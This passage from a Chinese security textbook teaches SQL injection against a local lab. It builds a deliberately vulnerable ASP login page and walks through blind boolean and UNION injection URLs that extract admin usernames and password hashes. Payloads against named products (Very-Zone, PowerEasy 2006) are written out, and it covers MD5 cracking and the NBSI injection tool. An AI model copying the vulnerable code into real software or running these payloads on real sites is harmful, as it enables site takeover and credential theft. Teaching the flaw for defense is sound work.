1.1 SQL 注入攻击研究
“注入攻击”这个词在网络上已经是屡见不鲜了。当入侵者准备入侵一台主机时,通常情况下首先查看这台服务器上有无动态网页的Web服务,并且这些动态网页是否存在漏洞。如果存在漏洞,则可以通过一些手段来得到管理员的密码,甚至是整台服务器的控制权。在这些漏洞中比较常见且容易上手的一种攻击方式就是SQL注入攻击,这种技术并不需要太高深的理论基础和复杂的操作。目前掌握这门技术的人较多,也是当前对网站进行入侵的一种主流方式。
本节将披露SQL注入攻击技术的原理和手法,并介绍针对注入攻击的防范措施,希望能够帮助更多的网络管理员远离这种攻击。
1.1.1 测试环境的搭建
本章中的许多内容需要通过实例讲解,考虑到不能随意攻击和破坏他人的网络,笔者在自己的电脑中搭建一台网站服务器,并构造一个存在漏洞的页面作为实例演示之用。
在 Windows 下有许多网站服务器软件,其中最为常见的是 IIS(Internet Information Server,Internet信息服务)、PWS(Personal Web Server,个人网页服务器),以及Apache服务器等。其中PWS在Windows 98操作系统中比较常见,IIS在Windows 2000以后的Windows操作系统中比较常见,Apache经常在Linux中与PHP配合使用。考虑到大部分读者使用Windows操作系统平台,而且IIS也比较常见并且容易安装,所以以IIS为例讲解搭建如何网络服务器。
IIS的安装过程如下。
(1)将Windows XP的安装光盘放入光驱中,然后单击“开始”|“设置”|“控制面板”选项,如图1-1所示。
图1-1 “控制面板”选项
(2)弹出“控制面板”窗口,单击“添加/删除 Windows 组件”按钮,如图1-2所示。
图1-2 “添加/删除Windows 组件”按钮
(3)弹出如图1-3所示的“Windows组件向导”对话框,选择“Internet 信息服务(IIS)”复选框。
图1-3 “Windows组件向导”对话框
(4)单击“下一步”按钮,显示“正在配置组件”对话框,如图1-4所示。等待,直到提示完成,如图1-5所示。
图1-4 “正在配置组件”对话框
图1-5 提示完成
安装IIS之后,IIS会创建操作系统所在盘(下面以C盘为例)的\Inetpub\wwwroot文件夹作为网站的根目录。将相关的网页文件放到这个目录中,即可在IE中浏览这个网页。
为了检验IIS是否能正常工作,使用记事本编写如下代码:
<html> <head> <title>测试网页</title> </head> <body>测试IIS是否能正常工作,看到我就说明IIS能正常工作了! </body> </html>
将上述代码保存为 aaa.html 文件,并复制到上述目录中。打开 IE 浏览器,访问http://127.0.0.1/aaa.html。如果显示如图1-6所示的测试结果,则说明IIS已正常运行。
图1-6 显示结果
下面测试IIS是否能正常地解析ASP动态脚本网页,在记事本中输入下述代码:
<html> <head><title>测试asp</title></head> <body> <% Response.Write “Asp正常执行” %> </body> </html>
将上述代码保存为 aaa.asp 文件,并复制到上述目录中。然后打开 IE,访问http://127.0.0.1/aaa.asp或http://localhost/aaa.asp。如果显示如图1-7所示的测试结果,说明IIS可以正常工作。
图1-7 测试结果
1.1.2 一个简单的实例
大部分留言本的管理后台登录后才能进入。一般情况下,用户在输入密码并单击“登录”按钮后登录页面会把输入的密码提交给一个动态网页。这个网页查看该密码和数据库中的密码是否相同,如果相同,则登录成功;否则就会提示输入错误。
下面首先编写一个页面用来显示用户名和密码文本框,以及“登录”按钮网页文件,代码如下:
<html> <head><title>登录页面</title></head> <body> <div align="center"> <form action="login.asp" method="post"> 请输入密码: <br><br> 用 户:<input name="name"type="textbox"> <br> 密 码:<input name="pass"type="password"> <br> <input type="submit" value="登录"> </form> </div> </body> </html>
编写后保存为名为“login.html”的网页文件。
说明如下:
<form action="login.asp" method="post">
这行代码指定把数据提交给login.asp网页。
<input name="name" type="textbox"> …… <input name="pass" type="password">
这是一个典型的表单,这两行代码显示一个文本框和一个密码文本框。其名称“name”非常重要,login.asp用其从提交的数据中获取用户名和密码数据。
login.asp的代码如下:
<% inname = Request("name") inpass = Request("pass") set conn=server.createobject("ADODB.CONNECTION")
conn.open "Provider=microsoft.jet.oledb.4.0; Data Source=C:\Inetpub\wwwroot\db.mdb;" Set rs = conn.Execute("SELECT * FROM data WHERE uname=‘" & inname &"‘") truepass = rs("upass") if inpass=truepass then response.write("登录成功!") else response.write("登录失败!") end if %> <p>用户编号: <%response.write(rs("uid"))%> </p> <% Set rs=Nothing conn.close %>
说明如下:
inname = Request("name") inpass = Request("pass")
从提交的数据中查找名为“name”及“pass”的数据,并分别保存在inname和inpass两个变量中,后者用于比较pass是否正确。
set conn=server.createobject("ADODB.CONNECTION") conn.open "Provider=microsoft.jet.oledb.4.0; Data Source=C:\Inetpub\wwwroot\db.mdb;"
使程序连接C:\Inetpub\wwwroot中的db.mdb 数据库文件,以便查询数据。
Set rs = conn.Execute("SELECT * FROM data WHERE uname=‘" & inname &"‘")
查询db.mdb数据库data表中,内容为inname 的变量名“uname”,并将其保存在rs变量中。
truepass = rs("upass")
将查询记录中upass字段的内容保存到truepass变量中。
if inpass=truepass then response.write("登录成功!") else response.write("登录失败!") end if
这是经典的判断语句,用于判断inpass变量是否与truepass相同,即判断用户输入的密码是否与数据库中查询的密码相同。如果相同,则输出“登录成功”;否则输出“登录失败”。
<p>用户编号:<% respons.wirte(rs("uid"))%></p>
显示数据库中uid字段的内容,即当前登录用户的编号。
Set rs=Nothing conn.close
释放变量并关闭数据库连接,虽然未释放变量程序仍可正常运行,但这是编程的良好习惯,值得提倡。
为创建db.mdb数据库文件,首先需要安装Access。打开Access 2007主窗口,单击“文件”→“新建”选项,然后创建如表1-1和图1-8所示的表结构。
表1-1 数据库的表结构
图1-8 表结构
输入用户名和密码,双击表名data进入数据编辑界面。添加两条记录,如图1-9所示。其中uname为用户名,upass为密码。
图1-9 添加两条记录
将 login.html 和 login.asp 复制到 C:\Inetpub\wwwroot 目录中,打开 IE,输入http://127.0.0.1/login.html即可访问如图1-10所示的登录页面。
图1-10 登录页面
输入正确的密码admin后单击“登录”按钮,登录成功,如图1-11所示。
图1-11 登录成功
输入一个错误密码,如“123”。单击“登录”按钮,显示登录错误。如图1-12所示。
图1-12 登录错误
上述演示说明这个密码验证程序的功能是正确的,问题在于提交的数据。即 name 的值并没有判断其合法性,而是直接放到SQL语句中使用,如果用户输入的不是密码,而是一段代码,问题就严重了。从理论上讲,确实有很多相似之处。不过注入的效果却显而易见,而且没有多少编程功底的人也可以很容易理解并掌握这种技术。
尝试在“用户”文本框中输入一个单引号,单击“登录”按钮,结果如图1-13所示。
图1-13 输入结果
可以看到IIS提示无法显示该网页。如果需要查看错误原因,需要设置IE。为此,单击“工具”|“Internet 选项”选项,如图1-14所示。
图1-14 “Internet 选项”选项
打开“Internet选项”对话框,切换到如图1-15所示的“高级”选项卡,清除“显示友好HTTP错误信息”复选框。
图1-15 “高级”选项卡
单击“确定”按钮,输入单引号作为用户名登录,显示的错误信息如图1-16所示。
图1-16 错误信息
在检测一个网站的安全性时,检测者并不知道该网站所用的数据库。如果看到这个错误信息,则可以看出Microsoft Jet Database Engine是微软的Access数据库,可以尝试Access的一些已知漏洞。
分析出现这个错误的原因,查询数据库的SQL代码如下:
inname = Request("name") …… Set rs = conn.Execute("SELECT * FROM data WHERE uname=‘" & inname &"‘")
如果用户输入的是一个单引号,那么这个语句变为 SELECT * FROM data WHERE uname=‘‘‘。
这样最后的单引号多余,从而造成语法错误。
1.1.3 用浏览器直接提交数据
在ASP中,从外部接收的数据即参数。名称即参数名,其值即该参数值。在login.asp中,接收的用户名的参数名是“user”,密码的参数名是“pass”,所以提交的数据中应该分别把用户名和密码的参数名与其值匹配。
在浏览器的地址栏中要访问的文件名后面加上问号及参数列表,参数值之间用等号来连接,参数之间用“&”来隔开。用这样的地址来访问该页面,即可达到与页面提交基本上相同的效果。
地址的形式如下:
http://要访问的网站/要访问的页面.asp?参数1=值1&参数2=值2……
其中参数的顺序可以任意调换,不过要保证参数名与值相对应。
如前例中的用户名的参数名是“name”,值是 admin;密码的参数名是“pass”,值是admin,则应该在地址栏中输入以下地址:
http://127.0.0.1/login.asp?name=admin&pass=admin
显示登录成功,说明数据提交成功并被login.asp接收,如图1-17所示。
图1-17 登录成功
也可以交换两个参数的位置来登录,如用地址http://127.0.0.1/login.asp?pass=admin&name=admin与使用http://127.0.0.1/login.asp?name=admin&pass=admin的结果相同。
如果密码改为abcde,则访问的地址是:
http://127.0.0.1/login.asp?name=admin&pass=abcde
http://127.0.0.1/login.asp? pass=abcde&name=admin
访问下面的地址:
http://127.0.0.1/login.asp?pass=admin&name =abcde
则会登录失败,因为密码为abcde,用户名为admin。
下面以admin为用户名,以错误的密码“123456”来登录:
http://127.0.0.1/login.asp?name=admin&pass=123456
提示登录失败,如图1-18所示。
图1-18 登录失败
说明更换数据,页面的功能仍正常,即可以判断密码的正确性。
使用这种方法模拟提交引号:
http://127.0.0.1/login.asp?pass=admin&name=‘
提示IIS 500错误。
这样登录完全可以代替用页面提交,而且可以省略访问登录页面所用的时间,从而提高效率。
这种提交方式在没有任何漏洞可利用的情况下,还可以通过穷举法使用可能的密码组合来登录,登录成功说明密码正确。
在研究SQL注入过程中,将会不停地提交数据测试,所以用这种方法将会事半功倍。而且在实际的入侵中,很多注入点未提供用户输入。在这种情况下,也只有用这种方法来提交数据才能执行SQL注入。
1.1.4 注入型攻击原理
如前所述,因为页面直接把用户提交的用户名(一个单引号)放到SQL语句中执行,所以造成引号不成对的语法错误。通过错误提示,攻击者可以知道该网站所用的数据库类型,然后针对这个数据库的漏洞进行攻击。
SQL语句
SQL语句之间用分号“;”隔开。
SELECT语句
SELECT语句是SQL中的查询语句,通常用于查询数据库中的数据,其语法如下:
SELECT 要查询的内容(可以是字段名列表) FROM 表名;
其中要查询的内容可以是字段名列表,多个字段名之间用逗号“,”隔开,查询所有字段用星号“*”表示。
表名是用来指定要查询的数据库中表的名称。
如查询data表中的uname和upass两个字段的值,语句如下:
SELECT uname,upass FROM data;
因为data数据库中只有uname和upass两个字段,所以可以编写如下语句查询所有列值:
SELECT * FROM data;
WHERE语句
WHERE语句通常放在SELECT语句后面,用来设置查询过虑条件,即只查询符合条件的数据,其语法如下:
WHERE 查询条件列表
查询条件是一个布尔值(即逻辑值,真或者假)表达式,如果要查询所有数据,则条件为空。例如:
SELECT * FROM data WHERE uname=‘admin’;
多个条件之间用“and ”连接,如要查询在数据库中uname字段为admin,以及upass字段为admin的数据:
SELECT * FROM data WHERE uname=‘admin’ and upass=‘admin’;
在SQL中字符串的内容用一对单引号引起。字符串可以为空,如上述语句可写成:
SELECT * FROM data WHERE uname=‘’ and upass=‘’;
判断是否有注入漏洞要用到逻辑运算,这里重点介绍“与”运算。
上例中用来查询的语句是:
SELECT * FROM data WHERE uname=‘用户输入的用户名’
在这个语句中只有一个条件,即 uname 为用户输入的用户名。如果在后面再加一个“1=1”的条件:
SELECT * FROM data WHERE uname=‘用户输入的用户名’ and 1=1
由于1=1是永远成立的,所以不影响整个语句的执行。
如果添加“1=2”的条件:
SELECT * FROM data WHERE uname=‘用户输入的用户名’ and 1=2
由于1=2永远不成立,所以所有的条件都不成立。通过在数据库查询语句后面添加 and 1=1和 and 1=2两个条件,查看是否影响页面的查询结果,即可判断注入的语句是否被执行,即检测页面是否存在SQL注入漏洞。
下面通过实例来查看利用注入漏洞,漏洞页面中语句的原型如下:
SELECT * FROM data WHERE uname=‘用户输入的用户名’
输入如下SQL语句:
SELECT * FROM data WHERE uname=‘admin’ and 1=1’
在浏览器的地址栏中输入:
http://127.0.0.1/login.asp?pass=admin&name=admin’ and 1=1
访问页面提示出错,最后引号多余。
重新构造用户名:
admin’ and 1=1 and ‘a’=‘a
SQL语句为:
SELECT * FROM data WHERE uname=‘admin’ and 1=1 and ‘a’=‘a’
第3个条件‘a’= ‘a’与‘1’= ‘1’均为一个永远成立的条件,并不影响其他条件。
在浏览器中提交,输入以下地址:
http://127.0.0.1/login.asp?pass=admin&name=admin’ and 1=1 and ‘a’=‘a
可以正常显示页面,如图1-19所示。
图1-19 登录成功
在地址栏中有多个类似“%20”的编码,即URL编码,浏览器会自动地把一些特殊的字符转换成该编码。“%20”是空格的URL编码。
下面提交1=2的恒错条件让页面出错,查看是否能影响页面的执行。
在浏览器地址栏中输入以下地址:
http://127.0.0.1/login.asp?pass=admin&name=admin’ and 1=2 and ‘a’=‘a
页面出错可以说明这个页面有SQL注入漏洞。使用1=1和1=2的条件来分别访问页面时,如果显示的内容不同,则说明存在漏洞。
SQL的SELECT…FROM语句的返回值为要查询的记录内容。
下面利用漏洞来猜解,首先猜解数据库的表名。以下语句可以作为一个条件来使用:
(SELECT uid FROM data WHERE uname=‘admin’)=1
这是个复杂条件,首先用SELECT语句查询数据库中uname字段为admin的记录,得到其uid字段值。再对比是否为1,为1,则这个条件为真;否则为假。
同样,以下这个语句也是一个条件:
(SELECT upass FROM data WHERE uname=‘admin’)=‘admin’
首先用SELECT语句查询数据库中uname字段为admin的记录,得到其upass字段值。然后对比是否为admin,为admin,则这个条件为真;否则为假。
把这个语句作为一个条件,然后插到前面用来检测是否存在漏洞的语句中,即:
SELECT * FROM data WHERE uname=‘admin’ and (SELECT upass FROM data WHERE uname=‘admin’)=‘admin’ and ‘a’=‘a’
如果uname为admin的记录的upass字段值是admin,添加的条件为真;否则为假。因为使用与运算(and),所以只要条件列表中的一个条件是假,则所有条件都不成立。
根据上面所述来构造如下访问地址:
http://127.0.0.1/login.asp?pass=admin&name=admin’ and (SELECT upass FROM data WHERE uname=‘admin’)=‘admin’ and ‘a’=‘a
页面成功显示。
更换一个值:
http://127.0.0.1/login.asp?pass=admin&name=admin’ and (SELECT upass FROM data WHERE uname=‘admin’)=‘123’ and ‘a’=‘a
页面出错,说明uname是admin的记录的upass字段的值不是123。
基于此,可以判断猜测的密码是否正确。破解者只要不停地改变上面加粗部分的值来提交测试,页面正常显示说明页面根据这个条件查询到数据。这样等于猜解出了用户的密码。
如果用户把密码设置得难以猜测的话,攻击者很难猜到,那么这种方法没有优势,而且比较麻烦。不过,如果配合利用SQL 语言的灵活性及其自带的一些函数的话,这种方法还是可取的。
1.1.5 典型攻击过程及代码分析
在本节中将会介绍如何利用漏洞猜解出表名、字段名,然后得到用户的名称和密码。
在实际的入侵中,入侵者不知道目标网站的数据库结构。即数据库的表名及字段名,所以不存在上述的入侵。
要得到数据库中的用户名和密码,首先应该知道其中用来保存用户名和密码的数据表的表名。
使用COUNT函数来查询这个表时,得到的结果应该大于0。
根据这个推论,可以构造如下条件语句:
(SELECT COUNT(*) FROM data)>0
把这个条件语句利用漏洞试试,构造的URL地址如下:
http://127.0.0.1/login.asp?uname=admin’ and (select count(*) from data )>0 and ‘a’=‘a
提交这个地址,如果页面能正常显示,则说明这个表存在;否则说明用来保存用户名和密码的表不是这个表。在入侵时,只要不停地变换表名(URL中的“data”部分)。直到页面正常显示,说明这个表存在。
如果运气不好,猜到的这个表不一定用来保存用户名和密码。不过程序员在编写页面时为了方便调用和维护,不会用复杂的表名,所以表名比用户名容易猜得多。一般来说,用来保存用户名和密码的表名类似于user、manage及admin等。常用的表名可以在网络上搜索到很多,只要有足够的经验,很容易猜出表名。
在猜解出表名以后,需要猜解字段名。为此在 COUNT 中加入猜测的字段名,即构造如下SQL条件语句:
(SELECT COUNT(uname) FROM data)>0
根据这个语句构造的URL地址如下:
http://127.0.0.1/login.asp?uname=admin’ and (select count( uname ) from data )>0 and ‘a’=‘a
如果页面正常显示,说明字段存在;否则说明字段不存在。
表1-2所示是笔者积累的一些常见的表名,以及用户名和密码的字段名,在猜测表名和字段名时会用到。
表1-2 常见表名,以及用户名和密码的字段名
猜解出表名和字段名以后,可以猜解用户名和密码。提交不同的SQL语句给页面,根据其显示是否正常,可以把数据库中所有记录的数据逐个“解出”。
SQL语法知识
len()函数:为取得字符串的长度
len(字符串)
下面以猜解admin 用户的密码为例,首先要确定密码的长度,可以使用SQL的Len()函数,构造如下条件语句:
(SELECT*FROM data WHERE uname=admin and len(upass)>1)>0
这个条件语句的两个条件是uname为admin,以及upass字段的值长度大于1,即upass值要有两位以上。在条件不成立时,SELECT 语句查询不到任何数据。结果应该为0,所以 (SELECT……)>0不成立。
把这个条件语句加到URL中提交:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)>1 ) >0 and ‘a’=‘a
如果页面能正常显示,说明用户名是admin的这个用户的密码至少有两位;否则说明密码不大于1位,即这个密码可能是1位或0位(为空)。
所以只要不停地修改len()后面的数字,即可确定密码的长度。如要猜解例中的密码长度,可以按如下顺序提交数据:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and len(upass)=0 ) >0 and ‘a’=‘a
·
·
·
一直到数字改为5时页面才能正常显示,说明密码的长度为5位。
但是这种方法并不高明,逐个数字猜解需要大量时间。在真正的入侵中,如果密码有数十位,则不知要试到何年何月。
二分法首先确定一个大概的范围,然后慢慢缩小,直到能确定这个数为止。如例中的这个密码的长度可以这样猜:
一般用户的密码都是16位以内,所以用len(upass)<16作为条件页面能正常显示,说明密码不到16位。现在可以确定密码的长度在0~15之间,接着找出0~16之间的中间数,计算中间数的公式如下:
中间数=(最大值-最小值)÷2+最小值
套用公式计算如下:
(16-0)÷2+0=8
用8来测试,提交的数据如下:
如果页面不能正常显示,说明密码的长度在8位~16位之间;否则说明密码的长度在0位~7位之间。继续缩小范围:
(8-0)÷2+0=4
继续用4来测试、提交:
页面出错,说明密码的长度不小于4。即大于等于4。同时小于等于8,继续缩小范围:
(8-4)÷2+4=6
用6来提交测试:
页面正常显示,说明密码的长度小于6位。下面可以用4和5来分别测试:
SQL语法知识
Mid()函数:取得字符串从“起始位置”字符位置起字符个数为“长度”的子字符串。
mid(字符串,起始位置,长度)
mid(‘abcd’,2,2)
结果是bc。
如果将上述语句改成mid(‘abdefg’,3,3),结果是def。
利用mid()函数并结合二分法,即可逐位解出密码。
首先来猜解第1位密码,构造的SQL条件语句如下,
(SELECT*FROM data WHERE uname=admin and mid(upass,1,1)= ‘a’)>0
该语句取第1位密码,并判断是否为字符a。如果是,则条件成立;否则条件不成立。
把这个条件语句整合到URL地址中,提交:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,1,1)= ‘a’ ) >0 and ‘a’=‘a
页面显示正常,说明猜对。不过要猜解完密码,需要使用二分法。
接下来开始猜解第2位密码,提交:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)= ‘a’ ) >0 and ‘a’=‘a
页面出错,说明第2位密码不是字母 a。可以用二分法确定一个范围,再逐步缩小这个范围来确定密码内容。以如下URL地址测试:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)> ‘a’ ) >0 and ‘a’=‘a
页面正常显示,再提交:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘z’ ) >0 and ‘a’=‘a
根据前面提交的两个地址都可以正常显示页面,可以推断出第2位密码是小写的字母a~ z中的一个。
由于字母的中间数不好求,所以只要估计大概即可。
继续猜解第2位密码,字母a~ z的中间位置大概是字母o,提交:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘o’ ) >0 and ‘a’=‘a
页面正常显示,说明密码是字母a~o之间的一个字母。继续取中间位置来试,字母a~o的中间位置大概是h,所以提交:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘h’ ) >0 and ‘a’=‘a
页面正常显示,可以确定第2位密码a~h之间的一个字母。继续缩小范围,用字母e测试:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘e’ ) >0 and ‘a’=‘a
页面正常显示,然后可以分别测试字母b、c和d,用二分法测试。
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)< ‘d’ ) >0 and ‘a’=‘a
页面出错,即第2位密码小于字母e且大于或等于字母d,因此为字母d。测试:
http://127.0.0.1/login.asp?uname=admin’ and (SELECT * FROM data WHERE uname=admin and mid(upass,2,1)=‘d’ ) >0 and ‘a’=‘a
页面显示正常,说明第2位密码是字母d。
接下来用同样方法猜解后面的3位密码。测试的步骤及其结果如表1-3所示。
表1-3 测试步骤及其结果
到这里,用户admin的5位密码都猜解出来,分别是a、d、m、i和n。把mid函数中要猜解的字段名upass换成uname,即可逐位猜解用户名。
1.1.6 Ⅴery-Zone SQL注入漏洞代码分析
Very-Zone(非常地带,简称“VZ”)程序是一款个人互动门户管理的ASP系统,模仿QQ空间(Q-Zone)的用户页面。它的早期版本存在着SQL注入漏洞,目前从网络上下载的版本已经使用SQL通用防注入程序防止了这个漏洞。为了能够演示如何利用漏洞,笔者删除了其中的SQL通用防注入程序。
为了更真实地模拟入侵过程,笔者将VZ作为网络一个真实的网站服务器进行渗透。
打开VZ首页及页面中的一个带参数的链接,以http://127.0.0.1/veryzone/announce.asp?id=16为例,如图1-20所示。
图1-20 打开的链接
在打开的地址栏参数后面加上一个永远成立的条件“and 1=1”,页面能正常显示。
更换为一个永远都不会成立的条件“and 1=2”,页面中无公告内容,如图1-22所示。
图1-21 页面正常显示
图1-22 无公告内容
确定插入条件会影响页面的显示结果后,可以插入不同的条件并根据页面的显示来判断条件是否成立。
首先来猜表名,提交地址:
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(*) from Admin)>0
页面能正常显示,表Admin确实存在。
猜测用户名的字段,提交地址:
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(User) from Admin)>0
页面没有内容,说明猜错,即数据库中没有User这个字段名。把User换成其他字段名来继续猜解,在提交以下地址时,页面正常显示:
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(UserName) from Admin)>0
说明在数据库的Admin表中有UserName这个字段。
在提交以下地址后,页面正常显示:
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Count(Password) from Admin)>0
这次猜出一个Password字段,根据表名和字段名不难估计Admin表中保存的是管理员的信息。UserName字段保存的是其用户名,Password保存的是用户密码。
知道表名和字段名之后,可以猜解数据库中的数据。首先来猜解管理员的用户名长度:
页面未显示公告内容,说明管理员的用户名长度不小于5。再提交:
页面正常显示,说明管理员的用户名长度小于6,即用户名长度是5,提交如下地址验证:
页面正常显示。
接下来猜解5位管理员用户名。用二分法来猜解:
页面正常显示,第1位用户名是字母“a”。
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,2,1)= ‘d’) >0
页面正常显示,第2位用户名是字母“d”。
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,3,1)= ‘m’) >0
页面正常显示,第3位用户名是字母“m”。
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,4,1)= ‘i’) >0
页面正常显示,第4位用户名是字母“i”。
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(UserName,5,1)= ‘n’) >0
页面正常显示,第5位用户名是字母“n”。
到这里,管理员的用户名被猜解出来,即“admin”。
验证是否准确:
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where UserName= ‘admin’) >0
页面正常显示,用户名“admin”存在。
接下来猜测密码:
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Len(Password)=16) >0
页面正常显示,管理员的密码长度是16。
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(Password,1,1)= ‘7’) >0
页面正常显示,管理员的第1位密码是7。
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 * from Admin Where Mid(Password,2,1)= ‘a’) >0
页面正常显示,管理员的第2位密码是a。
……
http://127.0.0.1/veryzone/user.asp?userid=14 and (Select Top 1 *from Admin Where Mid(Password,16,1)= ‘e’) >0
页面正常显示,管理员的第16位密码是e。
至此,密码被猜解出来,即“7a57a5a743894a0e”,这是字符串“admin”用MD5算法加密后的结果。
以用户admin,密码admin登录后台,登录界面如图1-23所示。
图1-23 登录界面
管理员的用户名和密码正确,成功进入后台,如图1-24所示。
图1-24 进入后台
本节通过Very-Zone个人互动门户管理的Asp系统的SQL注入漏洞演示了如何利用漏洞获取管理员的用户名和密码,这是相当常见的手法。
1.1.7 动易商城2006 SQL注入漏洞代码分析
动易商城是一个在网上很知名的ASP信息发布及商品交易程序,这个程序有免费版本,从网上下载该程序来安装。下载程序的压缩包解压后的 PowerEasy2006.exe 文件是安装程序,直接双击它运行安装程序。
直接安装后的动易商城不可用,访问结果如图1-25所示。
图1-25 访问结果
需要安装动易的组件,安装程序是PE2006_DLL.exe。双击即可安装,安装时在图1-26所示的对话框中清除“停止IIS服务”和“重启IIS服务”复选框;否则IIS可能会无法使用。
图1-26 “选择组件”对话框
因为安装在C:\Inetpub\wwwroot\PowerEasy中,所以应该通过 http://127.0.0.1/powereasy/index.asp来访问,打开的页面如图1-27所示。
图1-27 打开的页面
网上关于这个程序最新漏洞的描述如下:
NewComment.asp 文件用来显示用户评论,调用该文件需要添加评论,然后才能测试这个漏洞。
相关知识
Request()函数:是ASP程序中的常见函数。可用来根据参数名取得客户端提交到服务器的参数。调用形式如下:
Request(“参数名”)
其中的参数名为要取得的参数名,这些参数从网页提交。如前一节例子中提交的http://127.0.0.1/login.asp?name=admin&pass=admin中有name和pass两个参数。如果程序要取得name参数的值,应该在程序中编写如下代码:
Request(“name”)
如果要取得pass参数值并保存在aaa变量中,代码如下:
aaa = Request(“pass”)
Trim()函数:用来删除字符串前后两边的空格。在处理字符串数据时经常会用到,调用形式如下:
Trim(字符串)
函数会返回删除两侧空格后的字符串,比如:
Str1=“ 你好! ” Str2=Trim(Str1)
执行以上语句之后,字符串变量Str2的内容是“你好!”。
首先要确定漏洞在何处,用文本编辑器打开 Region.asp。目标确定在 Province 这个变量上,代码如下:
Province = Trim(Request.QueryString("Province"))
该语句取得Province参数值并保存在Province变量中,而后继续查看下面的代码:
……
Call OpenConn
Set TempRs=Conn.Execute("SELECT Country FROM PE Country ORDER BY Country")
……
Set TempRs=Conn.Execute("SELECT DISTINCT City FROM PE_City WHERE Province='"&Province&"'")
……
ReDim ShowCity(0, 0)
……
这段代码直接从客户端接收Province参数并赋值给Province变量,直到加黑的语句调用它。即将其放到SQL语句中执行,并且把查询到的数据放到页面的下拉列表框中显示。没有经过仔细过滤而使用用户提交的数据显然是一个SQL注入漏洞,因为通过提交特殊的数据可以让服务器执行一些特殊的SQL语句。
SQL语法
UNION联合语句:合并多条语句查询的结果,如:
SELECT*FROM A UNION SELECT*FROM B
这条语句的作用是查询表A中和表B中的所有数据并合并在一起。假如查询结果的数据是李四,则用UNION把两条查询的结果合并,结果是张三和李四两项数据。
这个漏洞的特点是把查询结果显示在下拉列表框中,这样通过精心构造的SQL语句可能让页面直接在下拉列表框中显示管理员的账号和密码。
首先尝试提交Province参数并且在数据后面加单引号让页面出错,提交:
http://127.0.0.1/powereasy/Region.asp? province=a'
出错的页面,如图1-28所示。
图1-28 出错的页面
说明提交的单引号被放到SQL语句中。把数据代入到代码中形成如下SQL语句:
SELECT DISTINCT City FROM PE City WHERE Province=‘a’’
能控制的部分是“a’”。如果要正确显示页面,必须删除后面的单引号,即:
SELECT DISTINCT City FROM PE City WHERE Province=‘a’ and‘a’=‘a’
可以在数据中插入一个查询语句来查询密码,为此要用UNION语句。
首先查看动易的数据库结构,管理员的用户名和密码放在数据库的 PE_Admin 表中, AdminName是用户名字段,Password是管理员密码字段。要查询管理员用户名的SQL语句如下:
Select AdminName From PE Admin
用UNION语句将其整合到原来的语句中,即:
SELECT DISTINCT City FROM PE City WHERE Province=‘a’ Union Select AdminName From PE_Admin Where‘a’=‘a’
加黑部分是要提交的数据,根据其构造的URL为:
http://127.0.0.1/powereasy/Region.asp?province=a' Union Select AdminName From PE Admin where 'a'='a
提交这个地址,可以在“市/县/区/旗”的下拉列表框中看到用户名,如图1-29所示。
图1-29 用户名
其中显示的管理员的用户名是“admin”。如果要查看管理员密码,只要把字段名改为密码字段名。构造的URL 地址是http://127.0.0.1/powereasy/Region.asp?province=a' Union Select Password From PE_Admin where 'a'='a。如图1-30所示,可以看到密码是469e80d32c0559f8。
图1-30 管理员密码
这是加密过的密码,在管理员登录时页面加密用户提交的密码后与数据库中的密码比较。
动易使用的是 MD5加密方式,所以应该用一个 MD5解密器来解密。这里推荐使用MD5 Crack,它是一款国产的多线程MD5解密器,解密速度很快。
打开如图1-31所示的MD5 Crack对话框,粘贴“469e80d32c0559f8”“破解单个密文”到文本框中,在“字符设置”选项组中选择可能用到的字符,也可以在“自定义”文本框中定义。因为一般情况下,用户密码不会有标点符号或特殊符号,所以为了节省时间,只选择“数字”、“大写字母”和“小写字母”复选框,还可以设置密码可能的长度和破解密码的线程数,线程数越大,破解速度越快。如果超出机器的承受能力,多线程反而会拖慢破解速度。
图1-31 MD5 Crack对话框
单击“开始”按钮,经过一段时间的等待后,破解的密码显示在右下角的文本框中,即admin888。尝试使用这个密码登录后台,如图1-32所示。
图1-32 登录后台
登录成功,说明破解密码成功,如图1-33所示。
图1-33 登录成功
至此,已经获得超级管理员的权限。入侵者可以删除网站的数据,也可以在网站发布任何信息,包括诱使网站的浏览者进入插入了木马的网页,其危害非常大。
1.1.8 常见的SQL注入漏洞检测工具
本节介绍一些常见的注入工具,利用它们可以减少猜解数据所花的时间和精力。
(1)NBSI
NBSI是NB联盟的小竹编写的一款SQL自动注入工具,其功能非常强大。可以扫描注入点、自动猜解数据内容、分析IIS日志,并自定义关键字字典。其界面如图1-34所示。
图1-34 NBSI界面
